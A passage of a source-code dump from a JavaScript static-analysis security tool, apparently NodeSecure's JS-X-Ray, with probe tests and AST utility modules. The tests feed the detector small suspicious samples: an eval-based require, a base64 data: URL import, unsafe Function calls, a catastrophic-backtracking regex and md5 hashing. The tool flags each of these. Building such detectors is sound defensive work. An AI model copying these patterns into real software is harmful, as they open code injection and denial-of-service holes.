2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { getSastAnalysis, parseScript } from "../utils/index.js";
7 | import isBinaryExpression from "../../src/probes/isBinaryExpression.js";
8 |
9 | test("should detect 1 deep binary expression", () => {
10 | const str = "0x1*-0x12df+-0x1fb9*-0x1+0x2*-0x66d";
11 | const ast = parseScript(str);
12 | const { sourceFile } = getSastAnalysis(str, isBinaryExpression)
13 | .execute(ast.body);
14 |
15 | assert.equal(sourceFile.deobfuscator.deepBinaryExpression, 1);
16 | });
17 |
18 | test("should not detect deep binary expression", () => {
19 | const str = "10 + 5 - (10)";
20 | const ast = parseScript(str);
21 | const { sourceFile } = getSastAnalysis(str, isBinaryExpression)
22 | .execute(ast.body);
23 |
24 | assert.equal(sourceFile.deobfuscator.deepBinaryExpression, 0);
25 | });
26 |
--------------------------------------------------------------------------------
/test/probes/isESMExport.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { describe, it } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | describe("probe: isESMExport", () => {
9 | it("should detect ExportNamedDeclaration statement with a Literal source as dependency", () => {
10 | const code = `
11 | export { foo } from "./bar.js";
12 | export const bar = "foo";
13 | `;
14 | const { dependencies } = new AstAnalyser().analyse(code);
15 |
16 | assert.deepEqual(
17 | [...dependencies.keys()],
18 | ["./bar.js"]
19 | );
20 | });
21 |
22 | it("should detect ExportAllDeclaration statement as dependency", () => {
23 | const code = `
24 | export * from "./bar.js";
25 | `;
26 | const { dependencies } = new AstAnalyser().analyse(code);
27 |
28 | assert.deepEqual(
29 | [...dependencies.keys()],
30 | ["./bar.js"]
31 | );
32 | });
33 | });
34 |
35 |
--------------------------------------------------------------------------------
/test/probes/isFetch.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { AstAnalyser } from "../../index.js";
7 |
8 | test("it should detect native fetch", () => {
9 | const code = `await fetch(url);`;
10 | const { flags } = new AstAnalyser().analyse(code);
11 |
12 | assert.ok(flags.has("fetch"));
13 | assert.strictEqual(flags.size, 1);
14 | });
15 |
--------------------------------------------------------------------------------
/test/probes/isImportDeclaration.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { getSastAnalysis, parseScript } from "../utils/index.js";
7 | import isImportDeclaration from "../../src/probes/isImportDeclaration.js";
8 |
9 | test("should detect 1 dependency for an ImportNamespaceSpecifier", () => {
10 | const str = "import * as foo from \"bar\"";
11 | const ast = parseScript(str);
12 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration)
13 | .execute(ast.body);
14 |
15 | const { dependencies } = sourceFile;
16 | assert.ok(dependencies.has("bar"));
17 | });
18 |
19 | test("should detect 1 dependency for an ImportDefaultSpecifier", () => {
20 | const str = "import foo from \"bar\"";
21 | const ast = parseScript(str);
22 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration)
23 | .execute(ast.body);
24 |
25 | const { dependencies } = sourceFile;
26 | assert.ok(dependencies.has("bar"));
27 | });
28 |
29 | test("should detect 1 dependency for an ImportSpecifier", () => {
30 | const str = "import { xd } from \"bar\"";
31 | const ast = parseScript(str);
32 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration)
33 | .execute(ast.body);
34 |
35 | const { dependencies } = sourceFile;
36 | assert.ok(dependencies.has("bar"));
37 | });
38 |
39 | test("should detect 1 dependency with no specificiers", () => {
40 | const str = "import \"bar\"";
41 | const ast = parseScript(str);
42 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration)
43 | .execute(ast.body);
44 |
45 | const { dependencies } = sourceFile;
46 | assert.ok(dependencies.has("bar"));
47 | });
48 |
49 | test("should detect 1 dependency for an ImportExpression", () => {
50 | const str = "import(\"bar\")";
51 | const ast = parseScript(str);
52 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration)
53 | .execute(ast.body);
54 |
55 | const { dependencies } = sourceFile;
56 | assert.ok(dependencies.has("bar"));
57 | });
58 |
59 | test("should detect an unsafe import using data:text/javascript and throw a unsafe-import warning", () => {
60 | const expectedValue = "data:text/javascript;base64,Y29uc29sZS5sb2coJ2hlbGxvIHdvcmxkJyk7Cg==";
61 |
62 | const importNodes = [
63 | `import '${expectedValue}';`,
64 | `import('${expectedValue}');`
65 | ];
66 |
67 | importNodes.forEach((str) => {
68 | const ast = parseScript(str);
69 | const sastAnalysis = getSastAnalysis(str, isImportDeclaration)
70 | .execute(ast.body);
71 |
72 | assert.strictEqual(sastAnalysis.warnings().length, 1);
73 |
74 | const unsafeImport = sastAnalysis.getWarning("unsafe-import");
75 | assert.strictEqual(unsafeImport.value, expectedValue);
76 | });
77 | });
78 |
--------------------------------------------------------------------------------
/test/probes/isLiteralRegex.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { getSastAnalysis, parseScript } from "../utils/index.js";
7 | import isLiteralRegex from "../../src/probes/isLiteralRegex.js";
8 |
9 | test("should throw a 'unsafe-regex' warning because the given RegExp Literal is unsafe", () => {
10 | const str = "const foo = /(a+){10}/g;";
11 | const ast = parseScript(str);
12 | const sastAnalysis = getSastAnalysis(str, isLiteralRegex)
13 | .execute(ast.body);
14 |
15 | assert.strictEqual(sastAnalysis.warnings().length, 1);
16 | const result = sastAnalysis.getWarning("unsafe-regex");
17 | assert.strictEqual(result.value, "(a+){10}");
18 | });
19 |
--------------------------------------------------------------------------------
/test/probes/isRegexObject.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { getSastAnalysis, parseScript } from "../utils/index.js";
7 | import isRegexObject from "../../src/probes/isRegexObject.js";
8 |
9 | test("should not throw a warning because the given Literal RegExp is considered 'safe'", () => {
10 | const str = "const foo = new RegExp('^hello');";
11 | const ast = parseScript(str);
12 | const sastAnalysis = getSastAnalysis(str, isRegexObject)
13 | .execute(ast.body);
14 |
15 | assert.equal(sastAnalysis.warnings().length, 0);
16 | });
17 |
18 | test("should throw a 'unsafe-regex' warning because the given RegExp Object is unsafe", () => {
19 | const str = "const foo = new RegExp('(a+){10}');";
20 | const ast = parseScript(str);
21 | const sastAnalysis = getSastAnalysis(str, isRegexObject)
22 | .execute(ast.body);
23 |
24 | assert.equal(sastAnalysis.warnings().length, 1);
25 | const warning = sastAnalysis.getWarning("unsafe-regex");
26 | assert.equal(warning.value, "(a+){10}");
27 | });
28 |
29 | test("should throw a 'unsafe-regex' warning because the given RegExp Object (with RegExpLiteral) is unsafe", () => {
30 | const str = "const foo = new RegExp(/(a+){10}/);";
31 | const ast = parseScript(str);
32 | const sastAnalysis = getSastAnalysis(str, isRegexObject)
33 | .execute(ast.body);
34 |
35 | assert.equal(sastAnalysis.warnings().length, 1);
36 | const warning = sastAnalysis.getWarning("unsafe-regex");
37 | assert.equal(warning.value, "(a+){10}");
38 | });
39 |
--------------------------------------------------------------------------------
/test/probes/isUnsafeCallee.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { parseScript, getSastAnalysis } from "../utils/index.js";
7 | import isUnsafeCallee from "../../src/probes/isUnsafeCallee.js";
8 |
9 | // CONSTANTS
10 | const kWarningUnsafeStmt = "unsafe-stmt";
11 |
12 | test("should detect eval", () => {
13 | const str = "eval(\"this\");";
14 |
15 | const ast = parseScript(str);
16 | const sastAnalysis = getSastAnalysis(str, isUnsafeCallee)
17 | .execute(ast.body);
18 |
19 | const result = sastAnalysis.getWarning(kWarningUnsafeStmt);
20 | assert.equal(result.kind, kWarningUnsafeStmt);
21 | assert.equal(result.value, "eval");
22 | });
23 |
24 | test("should not detect warnings for Function with return this", () => {
25 | const str = "Function(\"return this\")()";
26 |
27 | const ast = parseScript(str);
28 | const sastAnalysis = getSastAnalysis(str, isUnsafeCallee)
29 | .execute(ast.body);
30 |
31 | assert.strictEqual(sastAnalysis.warnings.length, 0);
32 | });
33 |
34 | test("should detect for unsafe Function statement", () => {
35 | const str = "Function(\"anything in here\")()";
36 |
37 | const ast = parseScript(str);
38 | const sastAnalysis = getSastAnalysis(str, isUnsafeCallee)
39 | .execute(ast.body);
40 |
41 | const result = sastAnalysis.getWarning(kWarningUnsafeStmt);
42 | assert.equal(result.kind, kWarningUnsafeStmt);
43 | assert.equal(result.value, "Function");
44 | });
45 |
46 | test("should not detect Function", () => {
47 | const str = "Function('foo');";
48 |
49 | const ast = parseScript(str);
50 | const sastAnalysis = getSastAnalysis(str, isUnsafeCallee)
51 | .execute(ast.body);
52 |
53 | const result = sastAnalysis.getWarning(kWarningUnsafeStmt);
54 | assert.equal(result, undefined);
55 | });
56 |
--------------------------------------------------------------------------------
/test/probes/isWeakCrypto.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { readFileSync, promises as fs } from "node:fs";
3 | import { test } from "node:test";
4 | import assert from "node:assert";
5 |
6 | // Import Internal Dependencies
7 | import { AstAnalyser } from "../../index.js";
8 |
9 | // Constants
10 | const FIXTURE_URL = new URL("fixtures/weakCrypto/", import.meta.url);
11 |
12 | test("it should report a warning in case of `createHash()` usage", async() => {
13 | const fixturesDir = new URL("directCallExpression/", FIXTURE_URL);
14 | const fixtureFiles = await fs.readdir(fixturesDir);
15 |
16 | for (const fixtureFile of fixtureFiles) {
17 | const fixture = readFileSync(new URL(fixtureFile, fixturesDir), "utf-8");
18 | const { warnings: outputWarnings } = new AstAnalyser().analyse(fixture);
19 |
20 | const [firstWarning] = outputWarnings;
21 | assert.strictEqual(outputWarnings.length, 1);
22 | assert.deepEqual(firstWarning.kind, "weak-crypto");
23 | assert.strictEqual(firstWarning.value, fixtureFile.split(".").at(0));
24 | }
25 | });
26 |
27 | test("it should report a warning in case of `[expression]createHash()` usage", async() => {
28 | const fixturesDir = new URL("memberExpression/", FIXTURE_URL);
29 | const fixtureFiles = await fs.readdir(fixturesDir);
30 |
31 | for (const fixtureFile of fixtureFiles) {
32 | const fixture = readFileSync(new URL(fixtureFile, fixturesDir), "utf-8");
33 | const { warnings: outputWarnings } = new AstAnalyser().analyse(fixture);
34 |
35 | const [firstWarning] = outputWarnings;
36 | assert.strictEqual(outputWarnings.length, 1);
37 | assert.deepEqual(firstWarning.kind, "weak-crypto");
38 | assert.strictEqual(firstWarning.value, fixtureFile.split(".").at(0));
39 | }
40 | });
41 |
42 | test("it should NOT report a warning in case of `[expression]createHash('sha256')` usage", () => {
43 | const code = `
44 | import crypto from 'crypto';
45 | crypto.createHash('sha256');
46 | `;
47 | const { warnings: outputWarnings } = new AstAnalyser().analyse(code);
48 |
49 | assert.strictEqual(outputWarnings.length, 0);
50 | });
51 |
52 | test("it should NOT report a warning if crypto.createHash is not imported", () => {
53 | const code = `
54 | const crypto = {
55 | createHash() {}
56 | }
57 | crypto.createHash('md5');
58 | `;
59 | const { warnings: outputWarnings } = new AstAnalyser().analyse(code);
60 |
61 | assert.strictEqual(outputWarnings.length, 0);
62 | });
63 |
--------------------------------------------------------------------------------
/test/utils/index.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import * as meriyah from "meriyah";
3 | import { walk } from "estree-walker";
4 |
5 | // Import Internal Dependencies
6 | import { SourceFile } from "../../src/SourceFile.js";
7 | import { ProbeRunner, ProbeSignals } from "../../src/ProbeRunner.js";
8 |
9 | export function getWarningKind(warnings) {
10 | return warnings.slice().map((warn) => warn.kind).sort();
11 | }
12 |
13 | export function parseScript(str) {
14 | return meriyah.parseScript(str, {
15 | next: true,
16 | loc: true,
17 | raw: true,
18 | module: true,
19 | globalReturn: false
20 | });
21 | }
22 |
23 | export function getSastAnalysis(
24 | sourceCodeString,
25 | probe
26 | ) {
27 | return {
28 | sourceFile: new SourceFile(sourceCodeString),
29 | getWarning(warning) {
30 | return this.sourceFile.warnings.find(
31 | (item) => item.kind === warning
32 | );
33 | },
34 | warnings() {
35 | return this.sourceFile.warnings;
36 | },
37 | dependencies() {
38 | return this.sourceFile.dependencies;
39 | },
40 | execute(body) {
41 | const probeRunner = new ProbeRunner(this.sourceFile, [probe]);
42 | const self = this;
43 |
44 | walk(body, {
45 | enter(node) {
46 | // Skip the root of the AST.
47 | if (Array.isArray(node)) {
48 | return;
49 | }
50 |
51 | self.sourceFile.tracer.walk(node);
52 |
53 | const action = probeRunner.walk(node);
54 | if (action === "skip") {
55 | this.skip();
56 | }
57 | }
58 | });
59 |
60 | return this;
61 | }
62 | };
63 | }
64 |
65 | export const customProbes = [
66 | {
67 | name: "customProbeUnsafeDanger",
68 | validateNode: (node, sourceFile) => [node.type === "VariableDeclaration" && node.declarations[0].init.value === "danger"]
69 | ,
70 | main: (node, options) => {
71 | const { sourceFile, data: calleeName } = options;
72 | if (node.declarations[0].init.value === "danger") {
73 | sourceFile.addWarning("unsafe-danger", calleeName, node.loc);
74 |
75 | return ProbeSignals.Skip;
76 | }
77 |
78 | return null;
79 | }
80 | }
81 | ];
82 |
83 | export const kIncriminedCodeSampleCustomProbe = "const danger = 'danger'; const stream = eval('require')('stream');";
84 | export const kWarningUnsafeDanger = "unsafe-danger";
85 | export const kWarningUnsafeImport = "unsafe-import";
86 | export const kWarningUnsafeStmt = "unsafe-stmt";
87 |
--------------------------------------------------------------------------------
/test/warnings.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { rootLocation } from "../src/utils/index.js";
7 | import { generateWarning } from "../src/warnings.js";
8 |
9 | test("Given an encoded-literal kind it should generate a warning with deep location array", () => {
10 | const result = generateWarning("encoded-literal", {
11 | location: rootLocation()
12 | });
13 |
14 | assert.deepEqual(result, {
15 | kind: "encoded-literal",
16 | value: null,
17 | source: "JS-X-Ray",
18 | location: [
19 | [[0, 0], [0, 0]]
20 | ],
21 | i18n: "sast_warnings.encoded_literal",
22 | severity: "Information"
23 | });
24 | });
25 |
26 | test("Given a weak-crypto kind it should generate a warning with value, simple location and experimental flag", () => {
27 | const result = generateWarning("weak-crypto", {
28 | value: "md5",
29 | location: rootLocation(),
30 | file: "hello.js"
31 | });
32 |
33 | assert.deepEqual(result, {
34 | kind: "weak-crypto",
35 | value: "md5",
36 | file: "hello.js",
37 | source: "JS-X-Ray",
38 | location: [
39 | [0, 0], [0, 0]
40 | ],
41 | i18n: "sast_warnings.weak_crypto",
42 | severity: "Information",
43 | experimental: false
44 | });
45 | });
46 |
--------------------------------------------------------------------------------
/types/warnings.d.ts:
--------------------------------------------------------------------------------
1 |
2 | export {
3 | Warning,
4 | WarningDefault,
5 | WarningLocation,
6 | WarningName,
7 | WarningNameWithValue
8 | }
9 |
10 | type WarningNameWithValue = "parsing-error"
11 | | "encoded-literal"
12 | | "unsafe-regex"
13 | | "unsafe-stmt"
14 | | "short-identifiers"
15 | | "suspicious-literal"
16 | | "suspicious-file"
17 | | "obfuscated-code"
18 | | "weak-crypto"
19 | | "shady-link";
20 | type WarningName = WarningNameWithValue | "unsafe-import";
21 |
22 | type WarningLocation = [[number, number], [number, number]];
23 |
24 | interface WarningDefault {
25 | kind: T;
26 | file?: string;
27 | value: string;
28 | source: string;
29 | location: null | WarningLocation | WarningLocation[];
30 | i18n: string;
31 | severity: "Information" | "Warning" | "Critical";
32 | experimental?: boolean;
33 | }
34 |
35 | type Warning =
36 | T extends { kind: WarningNameWithValue } ? T : Omit;
37 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023-2024 NodeSecure
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "@nodesecure/estree-ast-utils",
3 | "version": "1.5.0",
4 | "description": "Utilities for AST (ESTree compliant)",
5 | "type": "module",
6 | "exports": "./src/index.js",
7 | "types": "./src/index.d.ts",
8 | "scripts": {
9 | "lint": "eslint src test",
10 | "test": "node --test",
11 | "check": "npm run lint && npm run test",
12 | "coverage": "c8 -r html npm test"
13 | },
14 | "repository": {
15 | "type": "git",
16 | "url": "git+https://github.com/NodeSecure/js-x-ray.git"
17 | },
18 | "keywords": [
19 | "estree",
20 | "ast",
21 | "utils"
22 | ],
23 | "files": [
24 | "src"
25 | ],
26 | "author": "GENTILHOMME Thomas ",
27 | "license": "MIT",
28 | "bugs": {
29 | "url": "https://github.com/NodeSecure/js-x-ray/issues"
30 | },
31 | "homepage": "https://github.com/NodeSecure/js-x-ray/tree/master/workspaces/estree-ast-utils#readme",
32 | "devDependencies": {
33 | "estree-walker": "^3.0.2"
34 | },
35 | "dependencies": {
36 | "@nodesecure/sec-literal": "^1.1.0"
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/arrayExpressionToString.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { VariableTracer } from "./utils/VariableTracer.js";
3 |
4 | /**
5 | * @param {*} node
6 | * @param {object} options
7 | * @param {VariableTracer} [options.tracer=null]
8 | * @returns {IterableIterator}
9 | */
10 |
11 | export function* arrayExpressionToString(node, options = {}) {
12 | const { tracer = null } = options;
13 |
14 | if (!node || node.type !== "ArrayExpression") {
15 | return;
16 | }
17 |
18 | for (const row of node.elements) {
19 | switch (row.type) {
20 | case "Literal": {
21 | if (row.value === "") {
22 | continue;
23 | }
24 |
25 | const value = Number(row.value);
26 | yield Number.isNaN(value) ? row.value : String.fromCharCode(value);
27 | break;
28 | }
29 | case "Identifier": {
30 | if (tracer !== null && tracer.literalIdentifiers.has(row.name)) {
31 | yield tracer.literalIdentifiers.get(row.name);
32 | }
33 | break;
34 | }
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/concatBinaryExpression.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { arrayExpressionToString } from "./arrayExpressionToString.js";
3 | import { VariableTracer } from "./utils/VariableTracer.js";
4 |
5 | // CONSTANTS
6 | const kBinaryExprTypes = new Set([
7 | "Literal",
8 | "BinaryExpression",
9 | "ArrayExpression",
10 | "Identifier"
11 | ]);
12 |
13 | /**
14 | * @param {*} node
15 | * @param {object} options
16 | * @param {VariableTracer} [options.tracer=null]
17 | * @param {boolean} [options.stopOnUnsupportedNode=false]
18 | * @returns {IterableIterator}
19 | */
20 | export function* concatBinaryExpression(node, options = {}) {
21 | const {
22 | tracer = null,
23 | stopOnUnsupportedNode = false
24 | } = options;
25 | const { left, right } = node;
26 |
27 | if (
28 | stopOnUnsupportedNode &&
29 | (!kBinaryExprTypes.has(left.type) || !kBinaryExprTypes.has(right.type))
30 | ) {
31 | throw new Error("concatBinaryExpression:: Unsupported node detected");
32 | }
33 |
34 | for (const childNode of [left, right]) {
35 | switch (childNode.type) {
36 | case "BinaryExpression": {
37 | yield* concatBinaryExpression(childNode, {
38 | tracer,
39 | stopOnUnsupportedNode
40 | });
41 | break;
42 | }
43 | case "ArrayExpression": {
44 | yield* arrayExpressionToString(childNode, { tracer });
45 | break;
46 | }
47 | case "Literal":
48 | yield childNode.value;
49 | break;
50 | case "Identifier":
51 | if (tracer !== null && tracer.literalIdentifiers.has(childNode.name)) {
52 | yield tracer.literalIdentifiers.get(childNode.name);
53 | }
54 | break;
55 | }
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/extractLogicalExpression.js:
--------------------------------------------------------------------------------
1 |
2 | export function* extractLogicalExpression(
3 | node
4 | ) {
5 | if (node.type !== "LogicalExpression") {
6 | return;
7 | }
8 |
9 | if (node.left.type === "LogicalExpression") {
10 | yield* extractLogicalExpression(node.left);
11 | }
12 | else {
13 | yield { operator: node.operator, node: node.left };
14 | }
15 |
16 | if (node.right.type === "LogicalExpression") {
17 | yield* extractLogicalExpression(node.right);
18 | }
19 | else {
20 | yield { operator: node.operator, node: node.right };
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/getCallExpressionArguments.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import { Hex } from "@nodesecure/sec-literal";
3 |
4 | // Import Internal Dependencies
5 | import { concatBinaryExpression } from "./concatBinaryExpression.js";
6 |
7 | export function getCallExpressionArguments(node, options = {}) {
8 | const { tracer = null } = options;
9 |
10 | if (node.type !== "CallExpression" || node.arguments.length === 0) {
11 | return null;
12 | }
13 |
14 | const literalsNode = [];
15 | for (const arg of node.arguments) {
16 | switch (arg.type) {
17 | case "Identifier": {
18 | if (tracer !== null && tracer.literalIdentifiers.has(arg.name)) {
19 | literalsNode.push(tracer.literalIdentifiers.get(arg.name));
20 | }
21 |
22 | break;
23 | }
24 | case "Literal": {
25 | literalsNode.push(hexToString(arg.value));
26 |
27 | break;
28 | }
29 | case "BinaryExpression": {
30 | const concatenatedBinaryExpr = [...concatBinaryExpression(arg, { tracer })].join("");
31 | if (concatenatedBinaryExpr !== "") {
32 | literalsNode.push(concatenatedBinaryExpr);
33 | }
34 |
35 | break;
36 | }
37 | }
38 | }
39 |
40 | return literalsNode.length === 0 ? null : literalsNode;
41 | }
42 |
43 | function hexToString(value) {
44 | return Hex.isHex(value) ? Buffer.from(value, "hex").toString() : value;
45 | }
46 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/getCallExpressionIdentifier.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { getMemberExpressionIdentifier } from "./getMemberExpressionIdentifier.js";
3 | import { VariableTracer } from "./utils/VariableTracer.js";
4 |
5 | /**
6 | * @param {any} node
7 | * @param {object} options
8 | * @param {VariableTracer} [options.tracer=null]
9 | * @param {boolean} [options.resolveCallExpression=true]
10 | * @returns {string | null}
11 | */
12 | export function getCallExpressionIdentifier(node, options = {}) {
13 | if (node.type !== "CallExpression") {
14 | return null;
15 | }
16 | const { tracer = null, resolveCallExpression = true } = options;
17 |
18 | if (node.callee.type === "Identifier") {
19 | return node.callee.name;
20 | }
21 | if (node.callee.type === "MemberExpression") {
22 | return [
23 | ...getMemberExpressionIdentifier(node.callee, { tracer })
24 | ].join(".");
25 | }
26 |
27 | return resolveCallExpression ?
28 | getCallExpressionIdentifier(node.callee, { tracer }) : null;
29 | }
30 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/getMemberExpressionIdentifier.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import { Hex } from "@nodesecure/sec-literal";
3 |
4 | // Import Internal Dependencies
5 | import { concatBinaryExpression } from "./concatBinaryExpression.js";
6 | import { VariableTracer } from "./utils/VariableTracer.js";
7 |
8 | /**
9 | * Return the complete identifier of a MemberExpression
10 | *
11 | * @param {any} node
12 | * @param {object} options
13 | * @param {VariableTracer} [options.tracer=null]
14 | * @returns {IterableIterator}
15 | */
16 | export function* getMemberExpressionIdentifier(node, options = {}) {
17 | const { tracer = null } = options;
18 |
19 | switch (node.object.type) {
20 | // Chain with another MemberExpression
21 | case "MemberExpression":
22 | yield* getMemberExpressionIdentifier(node.object, options);
23 | break;
24 | case "Identifier":
25 | yield node.object.name;
26 | break;
27 | // Literal is used when the property is computed
28 | case "Literal":
29 | yield node.object.value;
30 | break;
31 | }
32 |
33 | switch (node.property.type) {
34 | case "Identifier": {
35 | if (tracer !== null && tracer.literalIdentifiers.has(node.property.name)) {
36 | yield tracer.literalIdentifiers.get(node.property.name);
37 | }
38 | else {
39 | yield node.property.name;
40 | }
41 |
42 | break;
43 | }
44 | // Literal is used when the property is computed
45 | case "Literal":
46 | yield node.property.value;
47 | break;
48 |
49 | // foo.bar[callexpr()]
50 | case "CallExpression": {
51 | const args = node.property.arguments;
52 | if (args.length > 0 && args[0].type === "Literal" && Hex.isHex(args[0].value)) {
53 | yield Buffer.from(args[0].value, "hex").toString();
54 | }
55 | break;
56 | }
57 |
58 | // foo.bar["k" + "e" + "y"]
59 | case "BinaryExpression": {
60 | const literal = [...concatBinaryExpression(node.property, options)].join("");
61 | if (literal.trim() !== "") {
62 | yield literal;
63 | }
64 | break;
65 | }
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/getVariableDeclarationIdentifiers.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { notNullOrUndefined } from "./utils/index.js";
3 |
4 | export function* getVariableDeclarationIdentifiers(node, options = {}) {
5 | const { prefix = null } = options;
6 |
7 | switch (node.type) {
8 | case "VariableDeclaration": {
9 | for (const variableDeclarator of node.declarations) {
10 | yield* getVariableDeclarationIdentifiers(variableDeclarator.id);
11 | }
12 |
13 | break;
14 | }
15 |
16 | case "VariableDeclarator":
17 | yield* getVariableDeclarationIdentifiers(node.id);
18 |
19 | break;
20 |
21 | case "Identifier":
22 | yield { name: autoPrefix(node.name, prefix), assignmentId: node };
23 |
24 | break;
25 |
26 | case "Property": {
27 | if (node.kind !== "init") {
28 | break;
29 | }
30 |
31 | if (node.value.type === "ObjectPattern" || node.value.type === "ArrayPattern") {
32 | yield* getVariableDeclarationIdentifiers(node.value, {
33 | prefix: autoPrefix(node.key.name, prefix)
34 | });
35 | break;
36 | }
37 |
38 | let assignmentId = node.key;
39 | if (node.value.type === "Identifier") {
40 | assignmentId = node.value;
41 | }
42 | else if (node.value.type === "AssignmentPattern") {
43 | assignmentId = node.value.left;
44 | }
45 |
46 | yield { name: autoPrefix(node.key.name, prefix), assignmentId };
47 |
48 | break;
49 | }
50 |
51 | /**
52 | * Rest syntax (in ArrayPattern or ObjectPattern for example)
53 | * const [...foo] = []
54 | * const {...foo} = {}
55 | */
56 | case "RestElement":
57 | yield { name: autoPrefix(node.argument.name, prefix), assignmentId: node.argument };
58 |
59 | break;
60 |
61 | /**
62 | * (foo = 5)
63 | */
64 | case "AssignmentExpression":
65 | yield* getVariableDeclarationIdentifiers(node.left);
66 |
67 | break;
68 |
69 | /**
70 | * const [{ foo }] = []
71 | * const [foo = 10] = []
72 | * ↪ Destructuration + Assignement of a default value
73 | */
74 | case "AssignmentPattern":
75 | if (node.left.type === "Identifier") {
76 | yield node.left.name;
77 | }
78 | else {
79 | yield* getVariableDeclarationIdentifiers(node.left);
80 | }
81 |
82 | break;
83 |
84 | /**
85 | * const [foo] = [];
86 | * ↪ Destructuration of foo is an ArrayPattern
87 | */
88 | case "ArrayPattern":
89 | yield* node.elements
90 | .filter(notNullOrUndefined)
91 | .map((id) => [...getVariableDeclarationIdentifiers(id)]).flat();
92 |
93 | break;
94 |
95 | /**
96 | * const {foo} = {};
97 | * ↪ Destructuration of foo is an ObjectPattern
98 | */
99 | case "ObjectPattern":
100 | yield* node.properties
101 | .filter(notNullOrUndefined)
102 | .map((property) => [...getVariableDeclarationIdentifiers(property)]).flat();
103 |
104 | break;
105 | }
106 | }
107 |
108 | function autoPrefix(name, prefix = null) {
109 | return typeof prefix === "string" ? `${prefix}.${name}` : name;
110 | }
111 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/index.d.ts:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { VariableTracer } from "./utils/VariableTracer";
3 |
4 | export { VariableTracer };
5 |
6 | export function extractLogicalExpression(
7 | node: any
8 | ): IterableIterator<{ operator: "||" | "&&" | "??", node: any }>;
9 |
10 | export function arrayExpressionToString(
11 | node: any, options?: { tracer?: VariableTracer }
12 | ): IterableIterator;
13 |
14 | export function concatBinaryExpression(
15 | node: any, options?: { tracer?: VariableTracer, stopOnUnsupportedNode?: boolean }
16 | ): IterableIterator;
17 |
18 | export function getCallExpressionArguments(
19 | node: any, options?: { tracer?: VariableTracer }
20 | ): string[] | null;
21 |
22 | export function getCallExpressionIdentifier(
23 | node: any, options?: { tracer?: VariableTracer, resolveCallExpression?: boolean }
24 | ): string | null;
25 |
26 | export function getMemberExpressionIdentifier(
27 | node: any, options?: { tracer?: VariableTracer }
28 | ): IterableIterator;
29 |
30 | export function getVariableDeclarationIdentifiers(
31 | node: any, options?: { prefix?: string | null }
32 | ): IterableIterator<{ name: string; assignmentId: any }>;
33 |
--------------------------------------------------------------------------------
/workspaces/estree-ast-utils/src/index.js:
--------------------------------------------------------------------------------
